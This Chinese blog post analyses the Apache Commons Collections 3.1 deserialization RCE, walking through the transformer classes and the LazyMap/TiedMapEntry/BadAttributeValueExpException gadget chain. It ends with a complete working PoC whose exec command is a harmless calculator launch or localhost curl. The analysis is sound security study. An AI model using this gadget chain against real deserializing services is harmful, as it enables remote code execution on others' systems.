前言

Apache Commons Collections是Apache Commons的组件,该漏洞的问题主要出现在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一个InvokerTransformer实现了Transformer接口,主要作用为调用Java的反射机制来调用任意函数。

影响组件版本:<=3.1

该漏洞组件下载地址
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

漏洞分析

在Apache-CommonsCollections3.1中,引发该反序列化rce的漏洞,主要是由Transformer接口所导致的,其中InvokerTransformer类通过实现该接口,可以调用JAVA反射机制,来调用可控的参数。

Transformer(接口)

代码如下:

public interface Transformer {
    Object transform(Object var1);
}

InvokerTransformer

核心代码如下:
image

transform方法中,我们可以看到,他使用了反射,并且对任意方法进行了调用。

我们可以看到,在InvokerTransformer方法中传入了,三个参数,分别对应:方法名,参数类型,参数名。并且该方法是在实例化时,传入的参数,为我们所控。

那么我们就可以利用该方法的反射对任意类的方法进行调用了。

在java中,因为其是面对对象的编程语言,所以执行某个操作需要对象->方法或者类->静态方法这样调用。而在我们这个类的transform方法中,每次调用一个方法,所以若我们要构造rce(Runtime.getRuntime().exec(cmd)),那么我们就要对该类的方法进行多次调用,并且上一次的结果为下一次结果的开始,才可以实现RCE。而刚好ChainedTransformer实现了该功能。

ChainedTransformer

在该类中,他也是实现了Transformer接口。
image

image

iTransformers为Transformer数组。

并且在重写transform方法中,进行了循环操作,且上一次的结果为下一次的开始。
这正好满足了我们InvokerTransformer类中所要求的。

直接调用上面的InvokerTransformer的transform方法进行命令执行.

注意点:Runtime的构造函数是一个私有方法,所以不能够直接对其进行实例化,需要调用静态方法来实例化,例如:Runtime.getRuntime().exec(cmd)

构造payload:

package com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;


public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open /System/Applications/Calculator.app"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(Runtime.getRuntime());
    }
}

image

image

有个问题:这样写虽然可以RCE,但是这里的写法是调用静态方法实例化了Runtime对象,但是Runtime 类在实际环境中并没有实现序列化接口,也就是说,Runtime实例对象不能够被序列化,因此在真实环境中,序列化后明显不会触发RCE.

image

ConstantTransformer

在ConstantTransformer类中,我们注意到transform方法:传入的实例化参数会直接返回。
image

因此我们可以这样写

package com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;


public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(transformers);
    }
}

还是那个问题,实例化后的Runtime对象,不允许进行反序列化,所以不能直接传入实例化的对象。所以我们需要在transforms中利用InvokerTransformer的列表挨个反射回调出Runtime.getRuntime()。那么就需要先获取到这个类,因为Runtime是利用getRuntime静态方法实例化的,所以就是获取到这个方法。

构造poc:

package com;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;


public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(transformers);
    }
}

我们一步一步来调试下此执行过程。

在第一个循环new ConstantTransformer(Runtime.class)是将我们Runtime类进行传入。
image

在第二个循环的时候,反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
image

image

在第三个循环的时候,反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象。
image

在第四个循环的时候,反射调用exec方法。
image

整个调用链是((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")

这样操作之后,就可以规避我们上面的那个问题。

构造真实的攻击链:

org/apache/commons/collections/map/LazyMap.java类中的get方法,发现里面调用了factory实例化的transform方法。
image

但是这里的get方法和PHP中__get魔术方法不一样,不能自动调用,所以我们要寻找到一个能够自动调用的一个方法。

org/apache/commons/collections/keyvalue/TiedMapEntry.java类中,找到一个可以自动调用的一个方法,Java中的toString方法是和PHP中的__toString魔术方法有相同的作用的,当将这个对象当做字符串处理的时候会自动调用这个方法。

image

并且在toString方法中,调用了getValue方法,getValue方法刚好又调用了get方法。

image

那么我们就可以将上面的连通起来,实现我们的反序列化了。

但是这样利用,并不能达到通用的效果。
javax/management/BadAttributeValueExpException.java,该类重写了readObject方法, 并且该类直接就调用了toString方法。
image

最终完整的poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl localhost:7999"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        // val是私有变量,所以利用下面方法进行赋值
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();

    }
}

image

参考链接:
https://p0sec.net/index.php/archives/121/
https://security.tencent.com/index.php/blog/msg/97
https://blog.csdn.net/gental_z/article/details/109008755
https://www.secpulse.com/archives/137940.html

最后修改:2020 年 11 月 24 日 05 : 40 PM
如果觉得我的文章对你有用,请随意赞赏